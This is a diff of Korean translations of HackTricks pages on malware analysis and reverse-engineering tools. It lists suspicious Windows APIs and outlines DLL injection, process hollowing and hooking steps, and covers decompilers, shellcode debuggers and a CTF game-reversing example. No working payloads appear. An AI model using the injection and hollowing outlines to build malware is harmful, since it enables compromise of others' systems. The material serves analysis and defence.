* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 일반
|
## 일반
|
||||||
|
|
||||||
### 네트워킹
|
### 네트워킹
|
||||||
|
@ -74,12 +66,12 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
| 이름 | |
|
| 이름 | |
|
||||||
| ------------------------ | -------------------------------------------------------------------------- |
|
| ------------------------ | -------------------------------------------------------------------------- |
|
||||||
| VirtualAlloc | 메모리 할당 (패커) |
|
| VirtualAlloc | 메모리 할당 (패커) |
|
||||||
| VirtualProtect | 메모리 권한 변경 (패커가 섹션에 실행 권한 부여) |
|
| VirtualProtect | 메모리 권한 변경 (패커가 섹션에 실행 권한 부여) |
|
||||||
| ReadProcessMemory | 외부 프로세스에 주입 |
|
| ReadProcessMemory | 외부 프로세스에 주입 |
|
||||||
| WriteProcessMemoryA/W | 외부 프로세스에 주입 |
|
| WriteProcessMemoryA/W | 외부 프로세스에 주입 |
|
||||||
| NtWriteVirtualMemory | |
|
| NtWriteVirtualMemory | |
|
||||||
| CreateRemoteThread | DLL/프로세스 주입... |
|
| CreateRemoteThread | DLL/프로세스 주입... |
|
||||||
| NtUnmapViewOfSection | |
|
| NtUnmapViewOfSection | |
|
||||||
| QueueUserAPC | |
|
| QueueUserAPC | |
|
||||||
| CreateProcessInternalA/W | |
|
| CreateProcessInternalA/W | |
|
||||||
|
@ -107,7 +99,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근
|
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근
|
||||||
* FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근
|
* FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근
|
||||||
|
|
||||||
## 맬웨어 기술
|
## 악성코드 기법
|
||||||
|
|
||||||
### DLL 주입
|
### DLL 주입
|
||||||
|
|
||||||
|
@ -123,7 +115,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
### 반사 DLL 주입
|
### 반사 DLL 주입
|
||||||
|
|
||||||
정상 Windows API 호출 없이 악성 DLL 로드.\
|
정상 Windows API 호출 없이 악성 DLL 로드.\
|
||||||
DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고, 재배치 수정 및 DllMain 함수를 호출합니다.
|
DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고, 재배치를 수정하고, DllMain 함수를 호출합니다.
|
||||||
|
|
||||||
### 스레드 하이재킹
|
### 스레드 하이재킹
|
||||||
|
|
||||||
|
@ -141,12 +133,12 @@ DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고,
|
||||||
|
|
||||||
### 프로세스 홀로잉
|
### 프로세스 홀로잉
|
||||||
|
|
||||||
맬웨어가 프로세스의 메모리에서 합법적인 코드를 언맵하고 악성 바이너리를 로드합니다.
|
악성코드는 프로세스의 메모리에서 합법적인 코드를 언맵하고 악성 바이너리를 로드합니다.
|
||||||
|
|
||||||
1. 새 프로세스 생성: CreateProcess
|
1. 새 프로세스 생성: CreateProcess
|
||||||
2. 메모리 언맵: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
2. 메모리 언맵: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||||
3. 프로세스 메모리에 악성 바이너리 쓰기: VirtualAllocEc, WriteProcessMemory
|
3. 프로세스 메모리에 악성 바이너리 쓰기: VirtualAllocEc, WriteProcessMemory
|
||||||
4. 진입점 설정 및 실행: SetThreadContext, ResumeThread
|
4. 진입점을 설정하고 실행: SetThreadContext, ResumeThread
|
||||||
|
|
||||||
## 후킹
|
## 후킹
|
||||||
|
|
||||||
|
@ -157,12 +149,6 @@ DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고,
|
||||||
* **EAT** (**내보내기 주소 테이블**) 후킹. 이 후킹은 **유저랜드**에서 수행될 수 있습니다. 목표는 DLL에 의해 내보내진 함수를 후킹하는 것입니다.
|
* **EAT** (**내보내기 주소 테이블**) 후킹. 이 후킹은 **유저랜드**에서 수행될 수 있습니다. 목표는 DLL에 의해 내보내진 함수를 후킹하는 것입니다.
|
||||||
* **인라인 후킹**: 이 유형은 달성하기 어렵습니다. 이는 함수 자체의 코드를 수정하는 것을 포함합니다. 아마도 이의 시작 부분에 점프를 넣는 방식으로.
|
* **인라인 후킹**: 이 유형은 달성하기 어렵습니다. 이는 함수 자체의 코드를 수정하는 것을 포함합니다. 아마도 이의 시작 부분에 점프를 넣는 방식으로.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -173,7 +159,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,38 +15,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## ImGui 기반 리버싱 도구
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
소프트웨어:
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## ImGui Based Reversing tools
|
|
||||||
|
|
||||||
Software:
|
|
||||||
|
|
||||||
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||||
|
|
||||||
## Wasm decompiler / Wat compiler
|
## Wasm 디컴파일러 / Wat 컴파일러
|
||||||
|
|
||||||
Online:
|
온라인:
|
||||||
|
|
||||||
* Use [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) to **decompile** from wasm (binary) to wat (clear text)
|
* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)를 사용하여 **디컴파일**합니다 (wasm(바이너리)에서 wat(명확한 텍스트)로)
|
||||||
* Use [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) to **compile** from wat to wasm
|
* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)를 사용하여 **컴파일**합니다 (wat에서 wasm으로)
|
||||||
* you can also try to use [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) to decompile
|
* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)를 사용하여 디컴파일할 수도 있습니다.
|
||||||
|
|
||||||
Software:
|
소프트웨어:
|
||||||
|
|
||||||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||||
|
|
||||||
## .NET decompiler
|
## .NET 디컴파일러
|
||||||
|
|
||||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||||
|
|
||||||
dotPeek는 **라이브러리** (.dll), **Windows 메타데이터 파일** (.winmd), 및 **실행 파일** (.exe)을 포함한 여러 형식을 **디컴파일**하고 검사하는 디컴파일러입니다. 디컴파일된 후, 어셈블리는 Visual Studio 프로젝트 (.csproj)로 저장할 수 있습니다.
|
dotPeek는 **라이브러리**(.dll), **Windows 메타데이터 파일**(.winmd), 및 **실행 파일**(.exe)을 포함한 여러 형식을 **디컴파일**하고 검사하는 디컴파일러입니다. 디컴파일된 후, 어셈블리는 Visual Studio 프로젝트(.csproj)로 저장할 수 있습니다.
|
||||||
|
|
||||||
여기서의 장점은 잃어버린 소스 코드를 레거시 어셈블리에서 복원해야 할 경우, 이 작업이 시간을 절약할 수 있다는 것입니다. 또한, dotPeek는 디컴파일된 코드 전반에 걸쳐 유용한 탐색 기능을 제공하여 **Xamarin 알고리즘 분석**에 적합한 도구 중 하나입니다.
|
여기서의 장점은 잃어버린 소스 코드를 레거시 어셈블리에서 복원해야 할 경우, 이 작업이 시간을 절약할 수 있다는 것입니다. 또한, dotPeek는 디컴파일된 코드 전반에 걸쳐 유용한 탐색 기능을 제공하여 **Xamarin 알고리즘 분석**에 적합한 도구 중 하나입니다.
|
||||||
|
|
||||||
|
@ -63,10 +55,10 @@ dotPeek는 **라이브러리** (.dll), **Windows 메타데이터 파일** (.winm
|
||||||
|
|
||||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||||
|
|
||||||
[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): 모든 운영 체제에서 사용할 수 있습니다 (VSCode에서 직접 설치할 수 있으며, git을 다운로드할 필요가 없습니다. **Extensions**를 클릭하고 **ILSpy**를 검색하세요).\
|
[Visual Studio Code용 ILSpy 플러그인](https://github.com/icsharpcode/ilspy-vscode): 모든 운영 체제에서 사용할 수 있습니다 (VSCode에서 직접 설치할 수 있으며, git을 다운로드할 필요가 없습니다. **Extensions**를 클릭하고 **ILSpy**를 검색하세요).\
|
||||||
**디컴파일**, **수정** 및 **다시 컴파일**해야 하는 경우 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 또는 그 활발히 유지되는 포크인 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)를 사용할 수 있습니다. (**우클릭 -> 메서드 수정**으로 함수 내부의 내용을 변경할 수 있습니다).
|
**디컴파일**, **수정** 및 **다시 컴파일**해야 하는 경우 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 또는 그 활발히 유지되는 포크인 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)를 사용할 수 있습니다. (**우클릭 -> 메서드 수정**하여 함수 내부의 내용을 변경합니다).
|
||||||
|
|
||||||
### DNSpy Logging
|
### DNSpy 로깅
|
||||||
|
|
||||||
**DNSpy가 파일에 정보를 기록하도록 하려면**, 다음 코드를 사용할 수 있습니다:
|
**DNSpy가 파일에 정보를 기록하도록 하려면**, 다음 코드를 사용할 수 있습니다:
|
||||||
```cs
|
```cs
|
||||||
|
@ -99,9 +91,9 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (602).png>)
|
![](<../../.gitbook/assets/image (602).png>)
|
||||||
|
|
||||||
이것은 필요합니다. 왜냐하면 이렇게 하지 않으면 **runtime** 동안 여러 **optimisations**가 코드에 적용되어 **break-point가 절대 도달하지 않거나** 일부 **변수가 존재하지 않을 수 있기 때문입니다**.
|
이것은 필요합니다. 왜냐하면 이렇게 하지 않으면 **runtime** 동안 여러 **optimisations**가 코드에 적용되고, 디버깅 중에 **break-point가 결코 도달되지 않거나** 일부 **변수가 존재하지 않을 수 있기 때문입니다**.
|
||||||
|
|
||||||
그런 다음, .NET 애플리케이션이 **IIS**에 의해 **run**되고 있다면 다음과 같이 **restart**할 수 있습니다:
|
그런 다음, .NET 애플리케이션이 **IIS**에 의해 **run**되고 있다면, 다음과 같이 **restart**할 수 있습니다:
|
||||||
```
|
```
|
||||||
iisreset /noforce
|
iisreset /noforce
|
||||||
```
|
```
|
||||||
|
@ -155,13 +147,13 @@ iisreset /noforce
|
||||||
* **rundll32 로드** (C:\Windows\System32\rundll32.exe의 64비트 및 C:\Windows\SysWOW64\rundll32.exe의 32비트)
|
* **rundll32 로드** (C:\Windows\System32\rundll32.exe의 64비트 및 C:\Windows\SysWOW64\rundll32.exe의 32비트)
|
||||||
* **명령줄 변경** (_File --> Change Command Line_) 및 DLL의 경로와 호출하려는 함수를 설정합니다. 예: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
* **명령줄 변경** (_File --> Change Command Line_) 및 DLL의 경로와 호출하려는 함수를 설정합니다. 예: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||||
* _Options --> Settings_에서 "**DLL Entry**"를 선택합니다.
|
* _Options --> Settings_에서 "**DLL Entry**"를 선택합니다.
|
||||||
* 그런 다음 **실행 시작**을 클릭하면 디버거가 각 DLL 메인에서 중지되며, 어느 시점에서 **당신의 DLL의 DLL Entry에서 중지**됩니다. 거기서 중단점을 설정하고 싶은 지점을 검색하면 됩니다.
|
* 그런 다음 **실행 시작**하면 디버거가 각 DLL의 메인에서 중지되며, 어느 시점에서 **당신의 DLL의 DLL Entry에서 중지**됩니다. 거기서 중단점을 설정하고 싶은 지점을 검색하면 됩니다.
|
||||||
|
|
||||||
실행이 어떤 이유로 win64dbg에서 중지되면 **win64dbg 창의 상단**에서 **어떤 코드에 있는지** 확인할 수 있습니다:
|
실행이 어떤 이유로 win64dbg에서 중지되면 **어떤 코드에 있는지** win64dbg 창의 **상단**에서 확인할 수 있습니다:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (842).png>)
|
![](<../../.gitbook/assets/image (842).png>)
|
||||||
|
|
||||||
그런 다음 이 정보를 통해 디버깅하려는 DLL에서 실행이 중지된 시점을 확인할 수 있습니다.
|
그런 다음, 이 정보를 통해 디버깅하려는 DLL에서 실행이 중지된 시점을 확인할 수 있습니다.
|
||||||
|
|
||||||
## GUI 앱 / 비디오 게임
|
## GUI 앱 / 비디오 게임
|
||||||
|
|
||||||
|
@ -183,10 +175,10 @@ iisreset /noforce
|
||||||
|
|
||||||
### blobrunner로 쉘코드 디버깅
|
### blobrunner로 쉘코드 디버깅
|
||||||
|
|
||||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)는 **쉘코드**를 메모리 공간에 **할당**하고, 쉘코드가 할당된 **메모리 주소**를 **지시**하며, 실행을 **중지**합니다.\
|
[**Blobrunner**](https://github.com/OALabs/BlobRunner)는 **쉘코드**를 메모리 공간에 **할당**하고, 쉘코드가 할당된 **메모리 주소**를 **지시**하며 실행을 **중지**합니다.\
|
||||||
그런 다음 **디버거**(Ida 또는 x64dbg)를 프로세스에 연결하고 **지정된 메모리 주소에 중단점**을 설정한 후 **실행을 재개**해야 합니다. 이렇게 하면 쉘코드를 디버깅할 수 있습니다.
|
그런 다음, 프로세스에 **디버거**(Ida 또는 x64dbg)를 연결하고 **지정된 메모리 주소에 중단점**을 설정한 후 **실행을 재개**해야 합니다. 이렇게 하면 쉘코드를 디버깅할 수 있습니다.
|
||||||
|
|
||||||
릴리스 GitHub 페이지에는 컴파일된 릴리스를 포함하는 zip 파일이 포함되어 있습니다: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
릴리스 GitHub 페이지에는 컴파일된 릴리스를 포함하는 zip 파일이 있습니다: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||||
Blobrunner의 약간 수정된 버전은 다음 링크에서 찾을 수 있습니다. 컴파일하려면 **Visual Studio Code에서 C/C++ 프로젝트를 생성하고 코드를 복사하여 붙여넣고 빌드**하면 됩니다.
|
Blobrunner의 약간 수정된 버전은 다음 링크에서 찾을 수 있습니다. 컴파일하려면 **Visual Studio Code에서 C/C++ 프로젝트를 생성하고 코드를 복사하여 붙여넣고 빌드**하면 됩니다.
|
||||||
|
|
||||||
{% content-ref url="blobrunner.md" %}
|
{% content-ref url="blobrunner.md" %}
|
||||||
|
@ -195,11 +187,11 @@ Blobrunner의 약간 수정된 버전은 다음 링크에서 찾을 수 있습
|
||||||
|
|
||||||
### jmp2it로 쉘코드 디버깅
|
### jmp2it로 쉘코드 디버깅
|
||||||
|
|
||||||
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)는 blobrunner와 매우 유사합니다. **쉘코드**를 메모리 공간에 **할당**하고 **영원한 루프**를 시작합니다. 그런 다음 **디버거를 프로세스에 연결**하고, **시작을 누르고 2-5초 기다린 후 중지**를 누르면 **영원한 루프** 안에 있게 됩니다. 영원한 루프의 다음 명령으로 점프하면 쉘코드에 대한 호출이 이루어지고, 결국 쉘코드를 실행하게 됩니다.
|
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)는 blobrunner와 매우 유사합니다. **쉘코드**를 메모리 공간에 **할당**하고 **영원한 루프**를 시작합니다. 그런 다음 프로세스에 **디버거를 연결**하고, **시작을 누른 후 2-5초 기다렸다가 중지**를 누르면 **영원한 루프** 안에 있게 됩니다. 영원한 루프의 다음 명령으로 점프하면 쉘코드에 대한 호출이 있을 것이며, 결국 쉘코드를 실행하게 됩니다.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (509).png>)
|
![](<../../.gitbook/assets/image (509).png>)
|
||||||
|
|
||||||
컴파일된 버전의 [jmp2it는 릴리스 페이지에서 다운로드할 수 있습니다](https://github.com/adamkramer/jmp2it/releases/).
|
컴파일된 버전은 [릴리스 페이지에서 jmp2it를 다운로드](https://github.com/adamkramer/jmp2it/releases/)할 수 있습니다.
|
||||||
|
|
||||||
### Cutter를 사용한 쉘코드 디버깅
|
### Cutter를 사용한 쉘코드 디버깅
|
||||||
|
|
||||||
|
@ -209,7 +201,7 @@ Cutter는 "파일 열기"와 "쉘코드 열기"를 허용합니다. 제 경우
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (562).png>)
|
![](<../../.gitbook/assets/image (562).png>)
|
||||||
|
|
||||||
원하는 위치에서 에뮬레이션을 시작하려면 그곳에 bp를 설정하면 Cutter가 자동으로 그곳에서 에뮬레이션을 시작합니다:
|
원하는 위치에서 에뮬레이션을 시작하려면 그곳에 bp를 설정하면 Cutter가 자동으로 그곳에서 에뮬레이션을 시작할 것입니다:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (589).png>)
|
![](<../../.gitbook/assets/image (589).png>)
|
||||||
|
|
||||||
|
@ -231,24 +223,24 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
||||||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||||
```
|
```
|
||||||
scDbg는 원하는 옵션을 선택하고 셸코드를 실행할 수 있는 그래픽 런처를 제공합니다.
|
scDbg는 원하는 옵션을 선택하고 shellcode를 실행할 수 있는 그래픽 런처를 제공합니다.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (258).png>)
|
![](<../../.gitbook/assets/image (258).png>)
|
||||||
|
|
||||||
**Create Dump** 옵션은 메모리에서 셸코드에 동적으로 변경이 이루어질 경우 최종 셸코드를 덤프합니다(디코딩된 셸코드를 다운로드하는 데 유용함). **start offset**은 특정 오프셋에서 셸코드를 시작하는 데 유용할 수 있습니다. **Debug Shell** 옵션은 scDbg 터미널을 사용하여 셸코드를 디버깅하는 데 유용합니다(하지만 이 문제에 대해서는 이전에 설명한 옵션들이 더 좋다고 생각합니다. Ida 또는 x64dbg를 사용할 수 있기 때문입니다).
|
**Create Dump** 옵션은 메모리에서 shellcode에 동적으로 변경이 이루어질 경우 최종 shellcode를 덤프합니다(디코딩된 shellcode를 다운로드하는 데 유용합니다). **start offset**은 특정 오프셋에서 shellcode를 시작하는 데 유용할 수 있습니다. **Debug Shell** 옵션은 scDbg 터미널을 사용하여 shellcode를 디버깅하는 데 유용합니다(하지만 이 문제에 대해서는 이전에 설명한 옵션이 더 좋다고 생각합니다. 왜냐하면 Ida 또는 x64dbg를 사용할 수 있기 때문입니다).
|
||||||
|
|
||||||
### CyberChef를 사용한 디스어셈블링
|
### CyberChef를 사용한 디스어셈블링
|
||||||
|
|
||||||
셸코드 파일을 입력으로 업로드하고 다음 레시피를 사용하여 디컴파일합니다: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
shellcode 파일을 입력으로 업로드하고 다음 레시피를 사용하여 디컴파일합니다: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||||
|
|
||||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||||
|
|
||||||
이 오브퓨스케이터는 **`mov`**에 대한 모든 명령어를 수정합니다(정말 멋짐). 또한 실행 흐름을 변경하기 위해 인터럽트를 사용합니다. 작동 방식에 대한 자세한 정보는 다음을 참조하십시오:
|
이 난독화 도구는 **모든 `mov` 명령어를 수정합니다**(정말 멋집니다). 또한 실행 흐름을 변경하기 위해 인터럽트를 사용합니다. 작동 방식에 대한 자세한 정보는 다음을 참조하십시오:
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||||
|
|
||||||
운이 좋다면 [demovfuscator](https://github.com/kirschju/demovfuscator)가 바이너리를 디오브퓨스케이트할 것입니다. 여러 종속성이 있습니다.
|
운이 좋다면 [demovfuscator](https://github.com/kirschju/demovfuscator)가 이진 파일을 디오브스케이트할 것입니다. 여러 종속성이 있습니다.
|
||||||
```
|
```
|
||||||
apt-get install libcapstone-dev
|
apt-get install libcapstone-dev
|
||||||
apt-get install libz3-dev
|
apt-get install libz3-dev
|
||||||
|
@ -347,7 +339,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
||||||
FUN_08000354(&DAT_030000dc,0x3c);
|
FUN_08000354(&DAT_030000dc,0x3c);
|
||||||
uVar4 = DAT_030004d8;
|
uVar4 = DAT_030004d8;
|
||||||
```
|
```
|
||||||
이 코드를 발견했습니다:
|
이 코드를 찾았습니다:
|
||||||
```c
|
```c
|
||||||
do {
|
do {
|
||||||
DAT_030004da = uVar4; //This is the last key pressed
|
DAT_030004da = uVar4; //This is the last key pressed
|
||||||
|
@ -359,7 +351,7 @@ uVar2 = DAT_030004dc;
|
||||||
uVar1 = *puVar6;
|
uVar1 = *puVar6;
|
||||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||||
```
|
```
|
||||||
마지막 if는 **`uVar4`**가 **마지막 Keys**에 있는지 확인하고 현재 키가 아닌지 확인합니다. 현재 키는 **`uVar1`**에 저장됩니다.
|
마지막 if는 **`uVar4`**가 **마지막 Keys**에 있고 현재 키가 아닌지 확인하고 있으며, 현재 키는 **`uVar1`**에 저장됩니다.
|
||||||
```c
|
```c
|
||||||
if (uVar1 == 4) {
|
if (uVar1 == 4) {
|
||||||
DAT_030000d4 = 0;
|
DAT_030000d4 = 0;
|
||||||
|
@ -390,7 +382,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||||
이전 코드에서 **uVar1** (누른 버튼의 **값**이 있는 곳)을 몇 가지 값과 비교하고 있는 것을 볼 수 있습니다:
|
이전 코드에서 **uVar1** (누른 버튼의 **값**이 있는 곳)을 몇 가지 값과 비교하고 있는 것을 볼 수 있습니다:
|
||||||
|
|
||||||
* 먼저, **값 4** (**SELECT** 버튼)와 비교됩니다: 이 챌린지에서 이 버튼은 화면을 지웁니다.
|
* 먼저, **값 4** (**SELECT** 버튼)와 비교됩니다: 이 챌린지에서 이 버튼은 화면을 지웁니다.
|
||||||
* 그 다음, **값 8** (**START** 버튼)과 비교됩니다: 이 챌린지에서 이 버튼은 코드가 플래그를 얻기 위한 유효한지 확인합니다.
|
* 다음으로, **값 8** (**START** 버튼)과 비교됩니다: 이 챌린지에서 이 버튼은 코드가 플래그를 얻기 위한 유효한지 확인합니다.
|
||||||
* 이 경우 **`DAT_030000d8`** 변수가 0xf3과 비교되며, 값이 같으면 일부 코드가 실행됩니다.
|
* 이 경우 **`DAT_030000d8`** 변수가 0xf3과 비교되며, 값이 같으면 일부 코드가 실행됩니다.
|
||||||
* 다른 경우에는 일부 cont (`DAT_030000d4`)가 확인됩니다. 이는 코드에 들어간 직후 1을 더하기 때문에 cont입니다.\
|
* 다른 경우에는 일부 cont (`DAT_030000d4`)가 확인됩니다. 이는 코드에 들어간 직후 1을 더하기 때문에 cont입니다.\
|
||||||
